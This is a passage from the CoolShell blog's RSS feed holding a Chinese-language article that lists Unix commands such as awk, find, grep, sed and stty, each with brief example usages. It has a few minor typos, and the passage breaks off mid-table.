class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1051.html\">如何在Java中避免equals方法的隐藏陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1051.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>27</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>高级Unix命令</title>\n\t\t<link>https://coolshell.cn/articles/1044.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1044.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 16 Jun 2009 02:42:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1044</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在Unix操作中有太多太多的命令，这些命令的强大之处就是一个命令只干一件事，并把这件事干好。Do one thing， do it well。这是unix的哲学...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1044.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1044.html\">高级Unix命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在Unix操作中有太多太多的命令，这些命令的强大之处就是一个命令只干一件事，并把这件事干好。Do one thing， do it well。这是unix的哲学。而且Unix首创的管道可以把这些命令任意地组合，以完成一个更为强大功能。这些哲学到今天都在深深地影响着整个计算机产业。比如今天最流行的“云计算”——把一个软件以碎片方式部署，然后这些功能可以任意组合。</p>\n<p>这篇文章罗列了很多Unix下比较高级的命令，当然，Unix/Linux下还有更多更多的命令，我们相信你可能见过其中的某些命令，也有可能有一些命令没有见过。不管怎么说，我们希望这些命令一方面可以让你知道怎么使用Unix/Linux操作系统，另一方面，我们也希望你能从中感到Unix的那种软件开发的哲学思想。</p>\n<p><span id=\"more-1044\"></span></p>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"4\">\n<tbody>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">ACCTCOM</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看所有用户执行过的进程（命令）</td>\n<td><span style=\"color: #333399;\">acctcom | tail -20</span></td>\n</tr>\n<tr>\n<td>查看指定用户执行过的进程（命令）</td>\n<td><span style=\"color: #333399;\">acctcom -u &lt;username&gt; | tail -20</span></td>\n</tr>\n<tr>\n<td>使用一个正则表达式查找相关进程</td>\n<td><span style=\"color: #333399;\">acctcom -n &lt;pattern&gt; | tail -20</span></td>\n</tr>\n<tr>\n<td>查找所有以l开头的被用户执行过的命令</td>\n<td><span style=\"color: #333399;\">acctcom -n &#8216;^l&#8217; | tail -30</span></td>\n</tr>\n<tr>\n<td>以反向顺序显示</td>\n<td><span style=\"color: #333399;\">acctom -b | more</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">AGREP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>在文件中查找一个可能拼写错的单词</td>\n<td><span style=\"color: #333399;\">agrep -2 &#8216;macropperswan&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">AT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>在未来某个时间执行某个命令</td>\n<td><span style=\"color: #333399;\">at now + 5 days &lt; scriptfile</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">AWK</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>显示文件的第一列</td>\n<td><span style=\"color: #333399;\">awk &#8216;{print $1}&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>反序显示文件的前两列</td>\n<td><span style=\"color: #333399;\">awk &#8216;{print $2,&#8221;\\t&#8221;,$1}&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>输出前两列的总和</td>\n<td><span style=\"color: #333399;\">awk &#8216;{print $1 + $2}&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找所有包括&#8221;money&#8221; 行并输出最后一列</td>\n<td><span style=\"color: #333399;\">awk &#8216;/money/ {print $NF}&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找第二列中包含 &#8220;money&#8221;</td>\n<td><span style=\"color: #333399;\">awk &#8216;$2 ~ /money/ {print $0}&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找第三列中不包括&#8221;A&#8221;</td>\n<td><span style=\"color: #333399;\">awk &#8216;$3 !~ /A$/ {print $0}&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">BC</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>计算sin(5)的值</td>\n<td><span style=\"color: #333399;\">echo &#8216;s(5)&#8217; | bc -l</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CANCEL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>取消一个刚开始启动的打印的作业</td>\n<td><span style=\"color: #333399;\">cancel &lt;jobid&gt; </span>( jobid可以由lpstat -o输出)</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CASE in ESAC </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>sh/bash/ksh中的case语句</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CC</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>编译一个C文件file.c</td>\n<td><span style=\"color: #333399;\">cc -o &lt;outfile&gt; &lt;infile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CHGRP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>修改文件的组所属</td>\n<td><span style=\"color: #333399;\">chgrp &lt;newgroupname&gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CHOWN</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>修改文件的所属人</td>\n<td><span style=\"color: #333399;\">chown &lt;newowner&gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CMP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>比较两个文件</td>\n<td><span style=\"color: #333399;\">cmp &lt;file1&gt; &lt;file2&gt; || &lt;command&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">COL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>打印man pages，去除其中 &#8220;^H&#8221;</td>\n<td><span style=\"color: #333399;\">man &lt;command&gt; | col -b | &lt;printcommand&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CRONTAB</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看你的crontab 文件</td>\n<td><span style=\"color: #333399;\">crontab -l</span></td>\n</tr>\n<tr>\n<td>编译 crontab 文件</td>\n<td><span style=\"color: #333399;\">crontab -e</span></td>\n</tr>\n<tr>\n<td>第周一的05:10 执行/home/fred/foo.ksh</td>\n<td><span style=\"color: #333399;\">10 5 * * 1 /home/fred/foo.ksh</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CRYPT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>使用一个口令加密一个文件</td>\n<td><span style=\"color: #333399;\">crypt password &lt; infile &gt; cryptfile</span></td>\n</tr>\n<tr>\n<td>解密一个被上面命令加密了的文件</td>\n<td><span style=\"color: #333399;\">crypt password &lt; cryptfile &gt; cleanfile</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CSH </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>最好的Berkley shell</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CUT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>从last 命令的输出中得到hostname字段</td>\n<td><span style=\"color: #333399;\">last | cut -c11-40</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DATE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>设置时间(只能由root 执行)</td>\n<td><span style=\"color: #333399;\">date &lt;mmddhhmm&gt;</span></td>\n</tr>\n<tr>\n<td>输出指定日期格式 (如：月份)</td>\n<td><span style=\"color: #333399;\">date +%m</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DF</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以kB单位查看磁盘空间</td>\n<td><span style=\"color: #333399;\">df -k</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DIRCMP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>比较两个目录</td>\n<td><span style=\"color: #333399;\">dircmp &lt;dir1&gt; &lt;dir2&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DTKSH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>dtksh 是一个 X11 图形的ksh93</td>\n<td><span style=\"color: #333399;\">dtksh</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DU</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>磁盘使用情况</td>\n<td><span style=\"color: #333399;\">du -ks</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">ED </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>命令行编译器。</td>\n<td><span style=\"color: #333399;\">ed &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">EGREP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>使用“或”条件Grep 文件</td>\n<td><span style=\"color: #333399;\">egrep &#8216;(A|B)&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>grep文件中即不包括A也不包括B</td>\n<td><span style=\"color: #333399;\">egrep -v &#8216;(A|B)&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">EX</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>使用一个shell脚来来编辑一个文件</td>\n<td><span style=\"color: #333399;\">ex -s file &lt;&lt;EOF<br />\ng/money/s//cash/<br />\nEOF</span></td>\n</tr>\n<tr>\n<td>以一个脚本文件来编辑一个文件</td>\n<td><span style=\"color: #333399;\">ex -s file &lt; scriptfile</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">EXPR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>求模</td>\n<td><span style=\"color: #333399;\">expr 10 % 7</span></td>\n</tr>\n<tr>\n<td>查看字串是否在变量$var中</td>\n<td><span style=\"color: #333399;\">expr $var : &#8216;string&#8217;</span></td>\n</tr>\n<tr>\n<td>显示第一个数字组成的字串</td>\n<td><span style=\"color: #333399;\">expr $var : &#8216;[^0-9]*\\([a-z]*\\)&#8217;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">FGREP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查找不匹配于某正规表达式的文件行</td>\n<td><span style=\"color: #333399;\">fgrep &#8216;*,/.()&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">FILE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看文件类型(如： ascii)</td>\n<td><span style=\"color: #333399;\">file &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">FIND</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>在整个文件系统中查的一个文件</td>\n<td><span style=\"color: #333399;\">find / -type f -name &lt;file&gt; -print</span></td>\n</tr>\n<tr>\n<td>查找所有匹配于模式的文件</td>\n<td><span style=\"color: #333399;\">find . -type f -name &#8220;*&lt;foo&gt;*&#8221; -print</span></td>\n</tr>\n<tr>\n<td>删除系统中所有的core文件</td>\n<td><span style=\"color: #333399;\">find / -type f -name core -exec /bin/rm -f {} \\;</span></td>\n</tr>\n<tr>\n<td>查找所有包含某单词的文件</td>\n<td><span style=\"color: #333399;\">find . -type f -exec grep -l &lt;word&gt; {} \\;</span></td>\n</tr>\n<tr>\n<td>查找所有修改日期在30天以前的文件</td>\n<td><span style=\"color: #333399;\">find . -type f -ctime +30 -print</span></td>\n</tr>\n<tr>\n<td>使用xargs来备份所有的.c文件（加上.bak后缀）</td>\n<td><span style=\"color: #333399;\">find . -name &#8220;*.c&#8221; -print | xargs -i cp {} {}.bak</span></td>\n</tr>\n<tr>\n<td>只搜索本地文件系统（不搜索nfs文件系统）</td>\n<td><span style=\"color: #333399;\">find . -local &#8230;</span></td>\n</tr>\n<tr>\n<td>在搜索的过程中，跟随link文件的实际位置</td>\n<td><span style=\"color: #333399;\">find . -follow &#8230;</span></td>\n</tr>\n<tr>\n<td>查找大于1M的文件</td>\n<td><span style=\"color: #333399;\">find /path -size 1000000c -print</span></td>\n</tr>\n<tr>\n<td>运行find命令但忽略&#8221;permission denied&#8221;</td>\n<td><span style=\"color: #333399;\">find &#8230; 2&gt;/dev/null </span>( 只能在sh/bash/ksh )</td>\n</tr>\n<tr>\n<td>查找所有的man目录</td>\n<td><span style=\"color: #333399;\">find / -type d -print | egrep &#8216;.*/(catman|man)$&#8217;</span></td>\n</tr>\n<tr>\n<td>查找所有有写权限的目录</td>\n<td><span style=\"color: #333399;\">find / -type d -perm -002 -print</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">GAWK </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>GNU版本的nawk</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">GREP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以某个正规表达式查找包含其的文件行</td>\n<td><span style=\"color: #333399;\">grep &#8216;[a-z][0-9]&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找不包含指定正则表达式的文件行</td>\n<td><span style=\"color: #333399;\">grep -v &#8216;^From&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找一组文件</td>\n<td><span style=\"color: #333399;\">grep -l &#8216;^[cC]&#8217; *.f</span></td>\n</tr>\n<tr>\n<td>计算包括某正则表达式文件行的数目</td>\n<td><span style=\"color: #333399;\">grep -c &#8216;[Ss]uccess&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>不区分大小写的查找</td>\n<td><span style=\"color: #333399;\">grep -i &#8216;lAbEgF&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>在匹配到的文件内容前输出文件的行号</td>\n<td><span style=\"color: #333399;\">grep -n &#8216;mo.*y&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">HINV </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>命令显示系统硬件的详细列表，包括：CPU类型、内存大小、所有的磁盘设备。</td>\n<td><span style=\"color: #333399;\">hinv -v</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">IF then else ENDIF </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>csh/tcsh中的if 语句</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">IF then else FI </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>sh/bash/ksh 中的if 语句</td>\n<td>if [[ condition ]];then commands;fi</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">KSH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Korn shell. (ksh88)</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">LN</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>创建一个硬链接文件a链接到文件A</td>\n<td><span style=\"color: #333399;\">ln a B</span></td>\n</tr>\n<tr>\n<td>创建一个符号链接文件a链接到文件A</td>\n<td><span style=\"color: #333399;\">ln -s a B</span></td>\n</tr>\n<tr>\n<td>删除链接文件B</td>\n<td><span style=\"color: #333399;\">rm B</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">LP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>在默认打印机上打印文件</td>\n<td><span style=\"color: #333399;\">lp &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>在指定打印机上打印文件</td>\n<td><span style=\"color: #333399;\">lp -d &lt;destination&gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">LPSTAT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>显示所有的打印机</td>\n<td><span style=\"color: #333399;\">lpstat -a</span></td>\n</tr>\n<tr>\n<td>查看打印机任务队列</td>\n<td><span style=\"color: #333399;\">lpstat -o</span></td>\n</tr>\n<tr>\n<td>查看默认打印机</td>\n<td><span style=\"color: #333399;\">lpstat -d</span></td>\n</tr>\n<tr>\n<td>查看打印机状态</td>\n<td><span style=\"color: #333399;\">lpstat -p</span></td>\n</tr>\n<tr>\n<td>查看计划任何状态</td>\n<td><span style=\"color: #333399;\">lpstat -r</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">MAKE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>执行一个 makefile中的第一个目标</td>\n<td><span style=\"color: #333399;\">make</span></td>\n</tr>\n<tr>\n<td>执行一个 makefile中的指点目标</td>\n<td><span style=\"color: #333399;\">make &lt;target&gt;</span></td>\n</tr>\n<tr>\n<td>指定一个特定的makefile文件名</td>\n<td><span style=\"color: #333399;\">make -f &lt;mymakefile&gt;</span></td>\n</tr>\n<tr>\n<td>显示要做什么，但其实什么也没做</td>\n<td><span style=\"color: #333399;\">make -n &lt;target&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">MKDIR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>一次创键目录和子目录</td>\n<td><span style=\"color: #333399;\">mkdir -p &lt;path&gt;/&lt;path&gt;/&lt;path&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">MOUNT </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看挂载的文件卷</td>\n<td><span style=\"color: #333399;\">mount</span></td>\n</tr>\n<tr>\n<td>查看挂载的文件卷（有格式的）</td>\n<td><span style=\"color: #333399;\">mount -p</span></td>\n</tr>\n<tr>\n<td>挂载一个光驱到目录/cdrom</td>\n<td><span style=\"color: #333399;\">mount /dev/cdrom /cdrom</span></td>\n</tr>\n<tr>\n<td>挂载一个磁盘分区到目录 /usr</td>\n<td><span style=\"color: #333399;\">mount /dev/dsk/c0t3d0s5 /usr</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">NAWK</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>增强版的 awk</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">NL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以带行号的方式输出文件</td>\n<td><span style=\"color: #333399;\">nl -bt -nln &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">NOHUP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>启动一个命令马上退出</td>\n<td><span style=\"color: #333399;\">nohup &lt;command&gt; &amp;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PACK</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>一个很老的文件打包程序，现在被gzip代替了。</td>\n<td><span style=\"color: #333399;\">pack &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PASSWD</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>修改你的帐号口令</td>\n<td><span style=\"color: #333399;\">passwd</span></td>\n</tr>\n<tr>\n<td>删除一个用户的口令(root使用)</td>\n<td><span style=\"color: #333399;\">passwd -d &lt;username&gt;</span></td>\n</tr>\n<tr>\n<td>改变一个用户的口令 (root使用)</td>\n<td><span style=\"color: #333399;\">passwd &lt;username&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PASTE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以列的方式把多个文件组合起来</td>\n<td><span style=\"color: #333399;\">paste &lt;file1&gt; &lt;file2&gt; &gt; &lt;newfile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PERL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Perl脚本语言的解释器</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把一个文件做成可打印的格式（76行一页）</td>\n<td><span style=\"color: #333399;\">pr -l76 -h&#8221;title&#8221; &lt;filename&gt;</span></td>\n</tr>\n<tr>\n<td> </td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">REGCMP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>从一个文件中编译正则表达式</td>\n<td><span style=\"color: #333399;\">regcmp &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td style=\"text-align: right;\">文件内容示例</td>\n<td><span style=\"color: #333399;\">varname &#8220;^[a-z].*[0-9.*$&#8221;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">RESET</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>重置终端设备</td>\n<td><span style=\"color: #333399;\">reset</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td align=\"left\"><span style=\"font-size: xx-small;\">RPCINFO</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>取得某主机的TCP端口信息</td>\n<td><span style=\"color: #333399;\">rpcinfo -p &lt;host&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">RSH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>执行一个远程服务器上的命令</td>\n<td><span style=\"color: #333399;\">rsh &lt;host&gt; &lt;comand&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SCRIPT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>用来捕捉当前的终端会话中的所有输入输出结果到一个指定的文件</td>\n<td><span style=\"color: #333399;\">script &lt;logfile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SED</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把某文件中的fred替换成john</td>\n<td><span style=\"color: #333399;\">sed -e &#8216;s/fred/john/g&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>替换文件中匹配正则表达式的字符串</td>\n<td><span style=\"color: #333399;\">sed -e &#8216;s/[0-9]+/number/g&#8217; &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>把HTML文件中的 &#8220;X&#8221; 变成红色</td>\n<td><span style=\"color: #333399;\">sed -e &#8216;s!X!&lt;font color=&#8221;#FF0000&#8243;&gt;X&lt;/font&gt;!g;</span></td>\n</tr>\n<tr>\n<td>把所有后缀为.suf1 改名成.suf2</td>\n<td><span style=\"color: #333399;\">ls -1 | grep &#8216;\\.suf1$&#8217; | sed -e &#8216;s/\\(.*\\.\\)suf1/mv &amp; \\1suf2/&#8217; | sh</span></td>\n</tr>\n<tr>\n<td>把文件中包含c的行中的a 替换成b</td>\n<td><span style=\"color: #333399;\">sed -e &#8216;/C/s/A/B/&#8217; &lt;infile&gt; &gt;&lt;outfile&gt;</span></td>\n</tr>\n<tr>\n<td>删除所有包含 &#8220;you owe me&#8221;的文件行</td>\n<td><span style=\"color: #333399;\">sed -e &#8216;/you owe me/d&#8217; &lt;infile&gt; &gt; &lt;outfile&gt;</span></td>\n</tr>\n<tr>\n<td>使用commandfile中的命令来编译infile文件，并输出到outfile中。其中的commandfile中包含了一系列的vi命令</td>\n<td><span style=\"color: #333399;\">sed -f &lt;commandfile&gt; &lt;infile&gt; &gt; &lt;outfile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>最老的 AT&amp;T shell程序，也是使用最广泛的标准确shell。</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SHUTDOWN</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>关机</td>\n<td><span style=\"color: #333399;\">shutdown -h now</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SLEEP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>sleep 10秒钟</td>\n<td><span style=\"color: #333399;\">sleep 10</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SORT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以字符顺序把文件的每一行排序</td>\n<td><span style=\"color: #333399;\">sort &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>以数字顺序把文件的每一行排序</td>\n<td><span style=\"color: #333399;\">sort -n &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>反向排序</td>\n<td><span style=\"color: #333399;\">sort -r &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>排序时对于重复项只保留一个</td>\n<td><span style=\"color: #333399;\">sort -u &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td> </td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SPELL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>检查拼写错误</td>\n<td><span style=\"color: #333399;\">spell &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>检查拼写错误，但是忽略okfile中包含的单词</td>\n<td><span style=\"color: #333399;\">spell +&lt;okfile&gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SPLIT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>拆分一个大文件，每个文件1m</td>\n<td><span style=\"color: #333399;\">split -b1m &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>把拆分后的文件合并起来</td>\n<td><span style=\"color: #333399;\">cat x* &gt; &lt;newfile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">STRINGS</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>从二进制文件中读取ascii 字符串</td>\n<td><span style=\"color: #333399;\">strings &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">STTY</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>显示终端设置</td>\n<td><span style=\"color: #333399;\">stty -a</span></td>\n</tr>\n<tr>\n<td>设置 Ctrl+&#8221;H&#8221;为删除键</td>\n<td><span style=\"color: #333399;\">stty erase &#8220;^H&#8221;</span></td>\n</tr>\n<tr>\n<td>对于用户的输入不回显</td>\n<td><span style=\"color: #333399;\">stty -echo</span></td>\n</tr>\n<tr>\n<td>回显用户的输入</td>\n<td><span style=\"color: #333399;\">stty echo</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SU</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>切换到root用户</td>\n<td><span style=\"color: #333399;\">su</span></td>\n</tr>\n<tr>\n<td>切换到root用户并使用其环境</td>\n<td><span style=\"color: #333399;\">su &#8211;</span></td>\n</tr>\n<tr>\n<td>切换到另一用户</td>\n<td><span style=\"color: #333399;\">su &lt;username&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TAIL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>显示某文件中的文件尾中包含pattern的文件行</td>\n<td><span style=\"color: #333399;\">tail -f &lt;file&gt; | grep 